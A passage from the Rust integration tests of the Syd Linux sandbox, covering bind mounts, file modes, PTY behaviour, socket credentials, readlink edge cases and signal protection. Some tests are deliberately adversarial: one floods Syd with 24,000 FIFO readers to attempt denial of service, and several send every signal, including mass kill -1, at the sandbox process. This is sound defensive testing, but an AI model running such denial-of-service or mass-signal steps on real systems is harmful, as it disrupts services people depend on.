test "$(stat -c %a /opt/f/u644)" = 600
test "$(stat -c %a /opt/f/u640)" = 600
test "$(stat -c %a /opt/f/u444)" = 400
test "$(stat -c %a /opt/f/u755)" = 700
test "$(stat -c %a /opt/f/u100)" = 100
test "$(stat -c %a /opt/f/u200)" = 200
test "$(stat -c %a /opt/f/u004)" = 0
test "$(stat -c %a /opt/f/u777)" = 700
test "$(stat -c %a /opt/f/u1755)" = 1700
test "$(stat -c %a /opt/f/u1777)" = 1700
test "$(stat -c %a /opt/f/u2755)" = 700
test "$(stat -c %a /opt/f/u4755)" = 700
test "$(stat -c %a /opt/f/u6755)" = 700
test "$(stat -c %a /opt/f/u7777)" = 1700
test "$(stat -c %a /opt/f/default)" = 400
test -d /opt/p/a/b/c
test "$(stat -c %a /opt/p/a/b/c)" = 700
test -d /opt/p/a/b/d
test "$(stat -c %a /opt/p/a/b/d)" = 500
test -d /opt/p/x/y/z
test "$(stat -c %a /opt/p/x/y/z)" = 100
test -d /opt/p/a
test -d /opt/p/a/b
test -d /opt/p/x
test -d /opt/p/x/y
test -f /opt/p/m/n/o
test "$(stat -c %a /opt/p/m/n/o)" = 600
test -f /opt/p/m/n/p
test "$(stat -c %a /opt/p/m/n/p)" = 400
test -d /opt/p/m
test -d /opt/p/m/n
test -d /opt/p/deep/nested/path/to/dir
test "$(stat -c %a /opt/p/deep/nested/path/to/dir)" = 700
test -f /opt/p/deep/nested/path/to/file
test "$(stat -c %a /opt/p/deep/nested/path/to/file)" = 600
test -d /opt/p/deep
test -d /opt/p/deep/nested
test -d /opt/p/deep/nested/path
test -d /opt/p/deep/nested/path/to
test -d /opt/bind_d1
test -d /opt/bind_d1/kernel
test -d /opt/bind_d1/class
test -d /opt/bind_d2
test -c /opt/bind_d2/null
test -c /opt/bind_d2/zero
test -d /opt/bind_nest/a/b
test -d /opt/bind_nest/a/b/kernel
test -d /opt/bind_nest/a
test -d /opt/bind_multi/sys_dir
test -d /opt/bind_multi/sys_dir/kernel
test -d /opt/bind_multi/sys_dir/class
test -d /opt/bind_multi/dev_dir
test -c /opt/bind_multi/dev_dir/null
test -c /opt/bind_multi/dev_dir/zero
test -d /opt/bind_f/devs
test -c /opt/bind_f/devs/null
test -c /opt/bind_f/devs/zero
test -c /opt/bind_f/devs/urandom
echo bind_test > /opt/bind_f/devs/null
test "$(stat -c %t:%T /opt/bind_f/devs/null)" = '1:3'
test "$(stat -c %t:%T /opt/bind_f/devs/zero)" = '1:5'
test "$(stat -c %t:%T /opt/bind_f/devs/urandom)" = '1:9'
test "$(stat -c %t:%T ./null)" = '1:3'
test "$(stat -c %t:%T ./zero)" = '1:5'
test "$(stat -c %t:%T ./urandom)" = '1:9'
test -d /opt/bind_f/deep/a/b/c
test -c /opt/bind_f/deep/a/b/c/null_deep
echo deep_test > /opt/bind_f/deep/a/b/c/null_deep
test -d /opt/bind_coexist
test -f /opt/bind_coexist/my_file
test "$(stat -c %a /opt/bind_coexist/my_file)" = 400
test -c /opt/bind_coexist/bound_zero
test -d /opt/bind_chain/x
test -d /opt/bind_chain/x/kernel
test -d /opt/bind_tree/l1
test -d /opt/bind_tree/l1/l2
test -d /opt/bind_tree/l1/l2/l3
test -c /opt/bind_tree/l1/null_l1
test -c /opt/bind_tree/l1/l2/zero_l2
test -c /opt/bind_tree/l1/l2/l3/urandom_l3
echo tree_test > /opt/bind_tree/l1/null_l1
test -d /link
test -d /link/h
test -f /default
test -f /link/default
test -f /link/h/default
test -d /symlink
test -d /symlink/s
test -L /default-link
test -L /symlink/default
test -L /symlink/s/default
test -d /linklink
test -d /linklink/l
test -L /default-link
test -L /linklink/default
test -L /linklink/l/default
test -d /fifodir
test -d /fifodir/f
test -p /fifo
test -p /fifodir/fifo
test -p /fifodir/f/fifo
test -d /linkfifo
test -d /linkfifo/l
test -p /default-fifo
test -p /linkfifo/fifo
test -p /linkfifo/l/fifo
echo test > /dev/null
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_root_bind_dir() -> TestResult {
skip_unless_available!("sh");
skip_unless_unshare!("user", "mount");
let cwd = current_dir(false)?.canonicalize()?;
let root = cwd.join("root");
create_dir_all(&root)?;
// root command requires dev/ and proc/ to exist.
create_dir_all(root.join("dev"))?;
create_dir_all(root.join("proc"))?;
let mut syd = syd();
syd.p("off")
.m("unshare/user,mount:1")
.m(format!("root:{}", root.display()));
// Directory binds.
let mut bind_dirs = vec![];
for dir in ["/bin", "/usr", "/var", "/lib", "/lib32", "/lib64"] {
let path = XPath::from_bytes(dir.as_bytes());
if path.is_symlink() {
if let Ok(target) = readlink(dir) {
symlink(target, root.join(&dir[1..]))?;
}
continue;
} else if !path.is_dir() {
continue;
}
create_dir_all(root.join(&dir[1..]))?;
syd.m(format!("bind-try+{dir}-void:{dir}"));
syd.m(format!("bind+{dir}:{dir}"));
bind_dirs.push(dir);
}
// File binds.
let mut bind_files = vec![];
for file in [
"/etc/hosts",
"/etc/hostname",
"/etc/passwd",
"/etc/resolv.conf",
] {
let path = XPath::from_bytes(file.as_bytes());
if !path.is_file() || path.is_symlink() {
continue;
}
let rel = &file[1..];
if let Some(parent) = Path::new(rel).parent() {
create_dir_all(root.join(parent))?;
}
File::create(root.join(rel))?;
syd.m(format!("bind-try+{file}-void:{file}"));
syd.m(format!("bind+{file}:{file}"));
bind_files.push(file);
}
// Symlink bind.
let lnk = root.join("test_lnk");
let sym = "/tmp/1/2/3/4/5/6/7/lnk";
symlink("/etc/passwd", &lnk)?;
create_dir_all(root.join("tmp/1/2/3/4/5/6/7"))?;
symlink("/etc/passwd", root.join("tmp/1/2/3/4/5/6/7/lnk"))?;
syd.m(format!("bind-try+{}-void:{sym}", lnk.display()));
syd.m(format!("bind+{}:{sym}", lnk.display()));
syd.env("SYD_TEST_BIND_DIRS", bind_dirs.join(" "));
syd.env("SYD_TEST_BIND_FILES", bind_files.join(" "));
syd.env("SYD_TEST_LINK", sym);
// workdir.
syd.m("workdir:/");
syd.m("workdir:/dev");
syd.m("workdir:none");
syd.m("workdir:off");
syd.m("workdir:/proc");
let status = syd
.argv(["sh", "-cex"])
.arg(
r#"
for dir in $SYD_TEST_BIND_DIRS; do
test -d "$dir"
done
for file in $SYD_TEST_BIND_FILES; do
test -f "$file"
done
test -L "$SYD_TEST_LINK"
test -c /dev/null
test -L /proc/self
test -L /proc/thread-self
test -L ./self
test -L ./thread-self
echo test > /dev/null
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_setsid_detach_tty() -> TestResult {
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("setsid_detach_tty", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_pty_dev_console_1() -> TestResult {
skip_unless_stdin_is_a_tty!();
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("compare_tty", ["/dev/console"])
.stdin(Stdio::inherit())
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_pty_dev_console_2() -> TestResult {
skip_unless_stdin_is_a_tty!();
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("compare_tty", ["/dev/console/"])
.stdin(Stdio::inherit())
.status()
.expect("execute syd");
assert_status_notdir!(status);
Ok(())
}
fn test_syd_pty_dev_tty_1() -> TestResult {
skip_unless_stdin_is_a_tty!();
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("compare_tty", ["/dev/tty"])
.stdin(Stdio::inherit())
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_pty_dev_tty_2() -> TestResult {
skip_unless_stdin_is_a_tty!();
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("compare_tty", ["/dev/tty/"])
.stdin(Stdio::inherit())
.status()
.expect("execute syd");
assert_status_notdir!(status);
Ok(())
}
fn test_syd_pty_dev_ptmx() -> TestResult {
skip_unless_stdin_is_a_tty!();
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("compare_tty", ["/dev/ptmx"])
.stdin(Stdio::inherit())
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_pty_io_rust() -> TestResult {
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("pty_io_rust", NONE)
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", timeout);
assert_status_ok!(status);
Ok(())
}
fn test_syd_pty_io_gawk() -> TestResult {
skip_unless_available!("gawk");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("pty_io_gawk", NONE)
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", timeout);
assert_status_ok!(status);
Ok(())
}
fn test_syd_pty_sandbox() -> TestResult {
skip_unless_available!("sh", "stty");
skip_unless_stdin_is_a_tty!();
skip_unless_stdout_is_a_tty!();
let status = syd()
.p("off")
.m("sandbox/pty:on")
.stdin(Stdio::inherit())
.argv(["sh", "-ce"])
.arg(
r##"
#!/bin/sh
set -eu
log() { printf '[*] %s\n' "$1"; }
fail() { printf '[!] %s\n' "$1"; exit 1; }
log "Starting PTY sandbox test..."
# 1. TCGETS
log "1. TCGETS: stty -a"
stty -a >stty.pty || fail "TCGETS failed!"
# 2. /dev/tty access
log "2. /dev/tty ioctl: stty -F /dev/tty -a"
stty -F /dev/tty -a > stty.tty || fail "/dev/tty ioctl failed!"
# 3. /dev/tty emulation check.
log "3. /dev/tty emulation check"
cmp stty.pty stty.tty || fail "/dev/tty emulation failed!"
# 4. TCSETS: raw + restore
log "4. TCSETS: stty raw -echo"
stty raw -echo || fail "TCSETS(raw) failed!"
log " restore: stty sane"
stty sane || fail "TCSETS(sane) failed!"
# 5. Winsize ioctl + SIGWINCH
log "5. Winsize ioctl: stty size"
SIZE1=$(stty size) || fail "TIOCGWINSZ failed!"
log " recorded size: $SIZE1"
log " sending SIGWINCH to $$"
kill -WINCH $$ || log "[!] SIGWINCH delivery failed!"
# give the handler a moment...
sleep 1
SIZE2=$(stty size) || fail "TIOCGWINSZ after SIGWINCH failed!"
log " new size: $SIZE2"
if [ "$SIZE1" != "$SIZE2" ]; then
log "[!] size changed: $SIZE1 -> $SIZE2"
fi
log "All checks passed — PTY sandbox is enforcing restrictions."
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_diff_dev_fd() -> TestResult {
skip_unless_exists!("/dev/fd");
skip_unless_available!("diff");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create:on")
.m("allow/read,stat,write,create+/***")
.do_("diff_dev_fd", NONE)
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", timeout);
assert_status_ok!(status);
Ok(())
}
fn test_syd_exp_fifo_multiple_readers() -> TestResult {
skip_unless_available!("bash", "cat", "mkfifo", "rm", "seq", "sleep", "touch");
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("default/ioctl:filter")
.argv(["bash", "-ce"])
.arg(
r#"
echo >&2 "[*] Create a FIFO in current directory."
set -x
mkfifo fifo
set +x
EMU_MAX_SIZE=24000 # syd::config::EMU_MAX_SIZE may be too expensive.
echo >&2 "[*] Attempt to DOS Syd by spawning $EMU_MAX_SIZE FIFO readers in the background."
test -t 2 && t=0 || t=1
while read -r n; do
cat fifo &
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $EMU_MAX_SIZE spawned..."
done < <(seq 1 $EMU_MAX_SIZE)
echo >&2 "[*] Waiting for 10 seconds for readers to block Syd."
sleep 10
NSYS=1000
echo >&2 "[*] Attempt to execute $NSYS system calls that Syd must intervene."
echo >&2 "[*] These system calls must not block!"
while read -r n; do
touch fifo-$n.done
rm fifo-$n.done
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $NSYS executed..."
done < <(seq 1 $NSYS)
echo >&2 "[*] All good, unblock the readers and exit."
set -x
:>fifo
wait
rm fifo
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_bind_unix_socket() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("allow/read,stat,write,create+/***")
.m("allow/net/bind+/***")
.do_("bind_unix_socket", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_peercred_unix_abs_socket() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_safe_bind:true")
.m("allow/all+/***")
.m("allow/net/bind+@*")
.do_("peercred", ["@test_peercred_unix.sock"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_peercred_unix_dom_socket() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_safe_bind:true")
.m("allow/all+/***")
.do_("peercred", ["test_peercred_unix.sock"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_peerpidfd_unix_abs_socket() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_safe_bind:true")
.m("allow/all+/***")
.m("allow/net/bind+@*")
.do_("peerpidfd", ["@test_peerpidfd_unix.sock"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_peerpidfd_unix_dom_socket() -> TestResult {
skip_unless_unix_diag_is_supported!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_safe_bind:true")
.m("allow/all+/***")
.do_("peerpidfd", ["test_peerpidfd_unix.sock"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_getsockopt_peercred_upper_name() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net+!unnamed")
.do_("getsockopt_peercred_upper_name", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_getsockopt_peercred_upper_level() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net+!unnamed")
.do_("getsockopt_peercred_upper_level", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_getsockopt_peerpidfd_upper_name() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net+!unnamed")
.do_("getsockopt_peerpidfd_upper_name", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_getsockopt_peerpidfd_upper_level() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net+!unnamed")
.do_("getsockopt_peerpidfd_upper_level", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_readlinkat_proc_self_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.do_("readlinkat_proc_self", NONE)
.status()
.expect("execute syd");
assert_status_loop!(status);
Ok(())
}
fn test_syd_readlinkat_proc_self_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.m("trace/allow_unsafe_open_path:1")
.do_("readlinkat_proc_self", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_readlinkat_proc_self_unix_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.do_("readlinkat_proc_self_unix", NONE)
.status()
.expect("execute syd");
assert_status_loop!(status);
Ok(())
}
fn test_syd_readlinkat_proc_self_unix_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_open_path:1")
.m("trace/allow_unsafe_recvmsg:1")
.m("trace/allow_unsafe_symlinks:1")
.m("trace/allow_unsafe_sendfd_magiclink:1")
.do_("readlinkat_proc_self_unix", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_readlink_truncate_proc_self() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.do_("readlink_truncate", ["/proc/self"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_readlink_truncate_proc_thread_self() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.do_("readlink_truncate", ["/proc/thread-self"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_readlink_truncate_proc_pid_exe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.do_("readlink_truncate", ["/proc/self/exe"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_readlink_negative_size() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.do_("readlink_negative_size", NONE)
.status()
.expect("execute syd");
// readlink(2) isn't available on ARM.
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_invalid!(status);
} else {
eprintln!("readlink system call not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_readlinkat_negative_size() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.do_("readlinkat_negative_size", NONE)
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_getdents64_truncate() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.do_("getdents64_truncate", ["/proc/self"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_getdents64_zero_count() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/lpath:on")
.m("allow/all+/***")
.do_("getdents64_zero_count", ["/proc/self"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_exp_signal_protection_pidns_kill_one() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
// kill(sydpid) does not propagate to syd.
for sig in Signal::iterator() {
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("kill", ["1", &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("kill", ["-1", &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
}
// kill(sydpid,0) does not propagate to Syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("kill", ["1", "0"])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("kill", ["-1", "0"])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_exp_signal_protection_bare_kill_one() -> TestResult {
skip_unless_available!("sh");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
let (maj, min) = *syd::config::KERNEL_VERSION;
for sig in Signal::iterator() {
// mass signaling is not permitted.
// landlock(7) allows it as it's scoped.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("kill")
.argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
if maj < 6 || (maj == 6 && min < 12) {
assert_status_no_such_process!(status);
} else {
assert_status_ok!(status);
}
// kill(sydpid) does not propagate to syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("kill")
.argv([
"sh",
"-cx",
&format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
// kill(-sydpid) does not propagate to syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("kill")
.argv([
"sh",
"-cx",
&format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
}
// mass broadcast signal is OK.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("kill")
.argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_ok!(status);
// kill(sydpid,0) does not propagate to Syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("kill")
.argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
// kill(-sydpid,0) won't work.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("kill")
.argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_exp_signal_protection_pidns_tkill_one() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
let (maj, min) = *syd::config::KERNEL_VERSION;
// tkill(sydpid) does not propagate to syd.
for sig in Signal::iterator() {
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("tkill", ["1", &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
if maj < 6 || (maj == 6 && min < 12) {
assert_status_no_such_process!(status);
} else {
assert_status_permission_denied!(status);
}
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("tkill", ["-1", &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_invalid!(status);
}
// tkill(sydpid,0) does not propagate to Syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("tkill", ["1", "0"])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("tkill", ["-1", "0"])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_invalid!(status);
Ok(())
}
fn test_syd_exp_signal_protection_bare_tkill_one() -> TestResult {
skip_unless_available!("sh");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
for sig in Signal::iterator() {
// mass signaling is not permitted.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("tkill")
.argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_invalid!(status);
// tkill(sydpid) does not propagate to syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("tkill")
.argv([
"sh",
"-cx",
&format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
// tkill(-sydpid) does not propagate to syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("tkill")
.argv([
"sh",
"-cx",
&format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_invalid!(status);
}
// mass broadcast with 0 is invalid.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("tkill")
.argv(["sh", "-cx", &format!("{} -1 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_invalid!(status);
// tkill(sydpid,0) does not propagate to Syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("tkill")
.argv(["sh", "-cx", &format!("{} ${{PPID}} 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
// tkill(-sydpid,0) is invalid.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("tkill")
.argv(["sh", "-cx", &format!("{} -${{PPID}} 0", *SYD_DO)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_invalid!(status);
Ok(())
}
fn test_syd_exp_signal_protection_pidns_sigqueue_one() -> TestResult {
skip_unless_unshare!("user", "mount", "pid");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
// sigqueue(sydpid) does not propagate to syd.
for sig in Signal::iterator() {
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("sigqueue", ["1", &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("sigqueue", ["-1", &format!("{}", sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
}
// sigqueue(sydpid,0) does not propagate to syd due to kernel.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("sigqueue", ["1", "0"])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.m("unshare/user,pid:1")
.do_("sigqueue", ["-1", "0"])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
Ok(())
}
fn test_syd_exp_signal_protection_bare_sigqueue_one() -> TestResult {
skip_unless_available!("sh");
let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
for sig in Signal::iterator() {
// mass signaling is not permitted.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("sigqueue")
.argv(["sh", "-cx", &format!("{} -1 {}", *SYD_DO, sig as i32)])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
// sigqueue(sydpid) does not propagate to syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("sigqueue")
.argv([
"sh",
"-cx",
&format!("{} ${{PPID}} {}", *SYD_DO, sig as i32),
])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_permission_denied!(status);
// sigqueue(-sydpid) does not propagate to syd.
env::set_var("SYD_TEST_TIMEOUT", "30s");
let status = syd()
.log("warn")
.p("off")
.do__("sigqueue")
.argv([
"sh",
"-cx",
&format!("{} -${{PPID}} {}", *SYD_DO, sig as i32),
])
.status()
.expect("execute syd");
env::set_var("SYD_TEST_TIMEOUT", &timeout);
assert_status_no_such_process!(status);
}
// mass broadcast signal is not permitted.
